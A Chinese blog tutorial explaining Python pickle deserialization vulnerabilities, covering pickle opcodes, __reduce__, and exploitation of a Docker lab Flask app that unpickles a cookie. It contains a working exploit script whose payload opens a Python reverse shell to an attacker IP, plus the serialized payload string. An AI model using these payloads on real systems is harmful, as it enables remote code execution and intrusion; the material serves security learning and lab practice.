python pickle反序列化漏洞_浅析python unpickle反序列化漏洞

0x01 前言

数据序列化常见的应用场景:数据结构网络传输,session存储,cache存储,或者配置文件上传,参数接收等接口处。

主要作用:能够让数据在存储或者传输的时候能够单单只用string的类型去表述相对复杂的数据结构,方便应用所见即所得,直接进行数据交流处理。

引发的安全问题:PHP的unserialize/__wakeup()漏洞、struts的ognl、xml解析的一系列漏洞、Ruby on Rails的xml/yaml,本文即将要讲的Python pickle/cPickle库的反序列化漏洞

此类漏洞常会导致RCE,原因:和我们所提到的应用场景有关。语言需要从string去解析出自己的语言数据结构,必然要去从这个string中做固定格式的解析,然后在内部把解析出来的结果去eval一下;或者,为了保证解析出来的内容为被序列化时候的Object状态,要调用一下状态保存的函数__wakeup__

0x02 Pickle模块pickle模块用来对Python对象执行序列化和反序列化。Python的任何对象都可以通过它永久保存到硬盘文件。Pickle实际上是先把Python对象(list、dict、class等)转换为字符流,这个字符流包含反序列化(从字符流构建对象)所需的所有数据。

pickle有两个主要方法。第一个是dump-把对象导入到文件;第二个是load-从文件中加载对象。

实例

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17import pickle

l1 = ['data1','data2','data3', 'data4']

file = open("testfile",'wb')

# 把l1保存到文件

pickle.dump(l1, file)

file.close()

##############################################

file = open("testfile",'r')

# 从文件中加载保存的对象

l2 = pickle.load(file)

print(l2)

# 输出: ['data1', 'data2', 'data3']

pickle instructions

1

2

3

4cos

system

(S'/bin/sh'

tR.

Pickle is a stack language which means that the pickle instructions push data onto the stack or pop data off of the stack and operate on it in some fashion. To understand how the canonical pickle works, we need only understand six pickle instructions:

c: Read to the newline as the module name, module. Read the next line as the object name, object. Push module.object onto the stack.

(: Insert a marker object onto the stack. For our purpose, this is paired with t to produce a tuple.

t: Pop objects off the stack until a ( is popped and create a tuple object containing the objects popped (except for the () in the order they were /pushed/ onto the stack. The tuple is pushed onto the stack

S: Read the string in quotes up to the newline and push it onto the stack.

R: Pop a tuple and a callable off the stack and call the callable with the tuple as arguments. Push the result onto the stack.

.: End of the pickle.

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。

(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。

t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。

S:读取引号中的字符串直到换行符处,然后将它压入堆栈。

R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。

.:结束pickle。

说人话:

c:接下来的2行内容类似于,os.system、urllib.unquote是module.object的形式。

(:就是左括号

t:相当于右扩号

S:代表本行后面的内容是String,即字符串。

R:执行紧靠自己左边的一个括号对中的内容,即( 和他t直接的内容。

.:点号结束pickle。

0x03漏洞分析

类似于php的wakeup魔术方法,python中的__reduce__,可以在被反序列化的时候执行。具体内容请参考Python的官方库文档。而且并不止这一个函数。

如果序列化的内容可控,只需要将相应代码写入__reduce__函数中,接收端在反序列化的时候就会自动执行。

下面是一个简单的示例:

exp:

1

2

3

4

5

6

7

8

9import pickle

import subprocess

class m3lon(object):

def __reduce__(self):

return (subprocess.Popen,(('cmd.exe',),))

pickle.dumps(m3lon())

# 输出:"csubprocess\nPopen\np0\n((S'cmd.exe'\np1\ntp2\ntp3\nRp4\n."

生成payload:csubprocess\nPopen\np0\n((S'cmd.exe'\np1\ntp2\ntp3\nRp4\n.

下面模拟接收端

弹出shell!

0x04漏洞利用

接下来以P神github仓库里的某个开源靶场为例讲解一下实际环境下的漏洞利用,可部署到本地docker复现。

app.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19import pickle

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

username = user["username"]

except:

username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":

app.run()

exp.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21#!/usr/bin/env python3

import requests

import pickle

import os

import base64

class exp(object):

def __reduce__(self):

s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""

return (os.system, (s,))

e = exp()

s = pickle.dumps(e)

response = requests.get("http://172.19.0.2:8000/", cookies=dict(

user=base64.b64encode(s).decode()

))

print(response.content)

分析

反序列化的内容为user,通过cookie传输(用户可控),于是pickle的反序列化漏洞便产生了,通过上面的exp可以查看我们生成的payload

1cposix\nsystem\np0\n(S\'python -c \\\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.19.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\\\'\'\np1\ntp2\nRp3\n.

接收端在反序列化pickle.loads(user)过程中会自动执行__reduce__方法,弹出bash.

流程

利用过程中注意查看本地docker ip,以及docker环境中的ip地址,对应修改exp.py,上面的exp是我在本地修改好的.

利用成功,如果想进行更深入的反序列化漏洞学习,可以看P神的掌阅iReader某站Python漏洞挖掘

参考:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF中的Pickle反序列化漏洞是指在该比赛的题目中存在通过反序列化攻击来执行任意代码的漏洞。具体来说,这个漏洞利用了Python中的pickle模块,pickle模块可以将对象序列化为字符串并保存到文件或通过网络传输。然后可以将这个字符串反序列化为原来的对象。这个过程中,如果不对反序列化的输入进行充分验证和过滤,攻击者可以构造恶意的pickle字符串,从而在反序列化的过程中执行任意代码。 在BUUCTF中,有一个题目叫做"Pickle Store",该题目利用了pickle模块的反序列化功能,并在反序列化的过程中执行了恶意代码。具体的攻击方法是,通过抓包获取到一个包含pickle字符串的session值,然后对这个字符串进行base64解码,并使用pickle模块的loads函数进行反序列化操作。这样就可以触发恶意代码的执行。 为了说明这个例子,作者提供了一个脚本来解析这个pickle字符串,首先使用base64解码得到原始字符串,然后使用pickle模块的loads函数进行反序列化操作,并最终执行恶意代码。这个例子展示了如何利用pickle模块的反序列化功能来执行任意代码。 在pickle模块中,还有一些其他的相关函数和方法可以帮助我们理解和分析pickle字符串的结构和内容。例如,pickletools模块提供了dis函数来反汇编pickle字符串,以及optimize函数来优化和简化pickle字符串的内容。 总结来说,BUUCTF中的Pickle反序列化漏洞是利用了pickle模块的反序列化功能来执行任意代码的漏洞。攻击者通过构造恶意的pickle字符串,可以在反序列化的过程中执行任意代码。为了解析和分析pickle字符串,可以使用pickle模块提供的函数和方法,如loads、pickletools.dis和pickletools.optimize。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值